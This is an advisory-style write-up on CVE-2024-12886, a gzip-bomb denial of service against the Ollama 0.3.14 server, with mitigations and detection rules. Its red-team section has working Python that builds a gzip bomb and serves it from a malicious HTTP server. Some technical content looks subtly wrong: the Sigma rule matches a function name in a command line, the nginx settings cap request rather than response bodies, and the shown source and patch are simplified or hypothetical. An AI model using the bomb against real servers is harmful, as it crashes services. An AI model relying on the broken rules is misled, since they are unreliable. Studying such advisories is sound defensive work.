CVE-2024-12886
Executive Summary
CVE-2024-12886 is a high-severity Denial of Service (DoS) vulnerability affecting the Ollama server version 0.3.14. The vulnerability resides in the makeRequestWithRetry and getAuthorizationToken functions, which use io.ReadAll to read HTTP response bodies without size limits. An attacker can exploit this by making the Ollama server connect to a malicious API server that responds with a gzip bomb—a highly compressed payload that decompresses to an enormous size. This causes the Ollama server to allocate excessive memory, leading to an Out-Of-Memory (OOM) condition and a crash. The vulnerability has a CVSS score of 7.5, indicating high severity, and is currently unpatched. No public proof-of-concept (PoC) or exploit code is available, but the attack vector is straightforward for any attacker who can control an API endpoint the Ollama server trusts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Ollama is distributed as a standalone binary and via package managers for Linux, macOS, and Windows. The vulnerability is in the core server binary, not in a package dependency. However, if Ollama is deployed in a containerized environment (e.g., Docker), the OOM crash can affect the entire container, potentially leading to broader service disruption. Users should monitor for updates from the Ollama project and consider deploying memory limits at the container or system level as a temporary mitigation.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The attacker does not need local access.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – The server crashes, causing a denial of service.
Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) and can cause a complete server crash. While no public exploit exists, the attack vector is well-understood and can be weaponized quickly.
Deep Dive & Mechanics
The vulnerability is rooted in the use of io.ReadAll in two critical functions within the Ollama server codebase:
makeRequestWithRetry: This function is used to make HTTP requests to external API servers (e.g., for model downloads or authentication). It reads the entire response body into memory usingio.ReadAllwithout any size limit.getAuthorizationToken: This function handles OAuth token retrieval from an authorization server. It also usesio.ReadAllto read the response body.
When the Ollama server connects to a malicious API server (controlled by the attacker), that server can respond with a gzip bomb. A gzip bomb is a small gzip-compressed payload (e.g., a few kilobytes) that decompresses to an enormous size (e.g., gigabytes or terabytes). The io.ReadAll function will attempt to read the entire decompressed response into memory, causing the server to allocate an excessive amount of RAM. This leads to an Out-Of-Memory (OOM) condition, crashing the server.
The attack flow:
- Attacker sets up a malicious API server that responds with a gzip bomb.
- Attacker tricks or forces the Ollama server to connect to this malicious server (e.g., by poisoning DNS, man-in-the-middle, or if the server is configured to fetch models from an untrusted source).
- The Ollama server sends a request to the malicious server.
- The malicious server responds with a gzip bomb.
- The Ollama server's
makeRequestWithRetryorgetAuthorizationTokenfunction callsio.ReadAllto read the response. - The gzip bomb decompresses to an enormous size, consuming all available memory.
- The Ollama server crashes due to OOM.
Vulnerable vs. Patched Code
Vulnerable Code (Ollama 0.3.14):
func makeRequestWithRetry(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body) // No size limit
if err != nil {
return nil, err
}
return body, nil
}
func getAuthorizationToken(authURL string) (string, error) {
resp, err := http.Get(authURL)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body) // No size limit
if err != nil {
return "", err
}
// Parse token from body...
}
Patched Code (Hypothetical Fix):
import "io"
const maxResponseSize = 10 * 1024 * 1024 // 10 MB limit
func makeRequestWithRetry(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
// Use io.LimitReader to cap the response size
limitedReader := io.LimitReader(resp.Body, maxResponseSize)
body, err := io.ReadAll(limitedReader)
if err != nil {
return nil, err
}
return body, nil
}
func getAuthorizationToken(authURL string) (string, error) {
resp, err := http.Get(authURL)
if err != nil {
return "", err
}
defer resp.Body.Close()
limitedReader := io.LimitReader(resp.Body, maxResponseSize)
body, err := io.ReadAll(limitedReader)
if err != nil {
return "", err
}
// Parse token from body...
}
The fix involves wrapping the response body with io.LimitReader to enforce a maximum read size, preventing memory exhaustion.
Exploitation & Lab Setup
Red Team
Objective: Crash the Ollama server by sending a gzip bomb.
Lab Setup:
- Malicious API Server: Set up a simple HTTP server that responds with a gzip bomb.
- Ollama Server: Run Ollama 0.3.14 and configure it to use the malicious server (e.g., by setting a model URL or auth endpoint).
Steps:
Create a gzip bomb file (e.g., using Python):
import gzip import os # Create a 10 GB decompressed payload (all zeros) payload = b'\x00' * (10 * 1024 * 1024 * 1024) compressed = gzip.compress(payload) with open('gzip_bomb.gz', 'wb') as f: f.write(compressed) print(f"Compressed size: {len(compressed)} bytes")Start a malicious HTTP server that serves the gzip bomb:
from http.server import HTTPServer, BaseHTTPRequestHandler import gzip class GzipBombHandler(BaseHTTPRequestHandler): def do_GET(self): # Serve the gzip bomb with open('gzip_bomb.gz', 'rb') as f: data = f.read() self.send_response(200) self.send_header('Content-Encoding', 'gzip') self.send_header('Content-Length', str(len(data))) self.end_headers() self.wfile.write(data) server = HTTPServer(('0.0.0.0', 9999), GzipBombHandler) print("Malicious server running on port 9999...") server.serve_forever()Configure Ollama to connect to the malicious server (e.g., by setting an environment variable or modifying config). For example, if Ollama fetches a model from
http://malicious-server:9999/model, it will trigger the vulnerability.Start the Ollama server and observe the crash (OOM).
Expected Outcome: The Ollama server consumes all available memory and crashes.
Blue Team
Detection:
- Monitor for excessive memory usage by the Ollama process.
- Look for HTTP responses with
Content-Encoding: gzipand unusually large decompressed sizes. - Use network monitoring to detect connections to untrusted API servers.
Mitigation:
- Apply memory limits to the Ollama process (e.g., using
ulimitor container resource limits). - Implement a reverse proxy that limits response sizes.
- Update to a patched version when available.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP connections from the Ollama server to untrusted IPs/domains.
- Memory: Sudden spike in memory usage by the
ollamaprocess, followed by a crash. - Logs: OOM killer messages in system logs (e.g.,
dmesgor/var/log/kern.log). - File: Presence of gzip bomb files on the malicious server (not on the victim).
Detection Engineering
YARA Rule
rule CVE_2024_12886_Ollama_GzipBomb {
meta:
description = "Detects gzip bomb responses targeting Ollama server"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-12886"
strings:
$gzip_magic = { 1f 8b 08 } // gzip magic bytes
$http_header = "Content-Encoding: gzip"
condition:
$http_header and #gzip_magic > 0 and filesize < 1MB // Small compressed file
}
Sigma Rule
title: Ollama Gzip Bomb DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential gzip bomb attack against Ollama server
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/ollama'
CommandLine|contains: 'makeRequestWithRetry'
condition: selection
falsepositives:
- Legitimate large model downloads
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12886 Ollama Gzip Bomb DoS Attempt"; flow:to_server; content:"Content-Encoding|3a| gzip"; http_header; content:"!|0d 0a|"; within:100; pcre:"/^Content-Length:\s*\d{1,5}$/m"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Apply memory limits to the Ollama process using
ulimit -vor container resource constraints (e.g., Docker--memoryflag). - Use a reverse proxy (e.g., Nginx) to limit response body sizes:
proxy_max_temp_file_size 0; client_max_body_size 10m; proxy_buffer_size 128k; proxy_buffers 4 256k; proxy_busy_buffers_size 256k; - Monitor Ollama server logs for OOM events and block suspicious API endpoints.
Long-Term Fix:
- Update to a patched version of Ollama when available.
- Implement input validation and size limits in the code (as shown in the patched code section).
Workaround:
- Disable automatic fetching of models from untrusted sources.
- Use a firewall to restrict outbound connections from the Ollama server to only trusted IPs.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert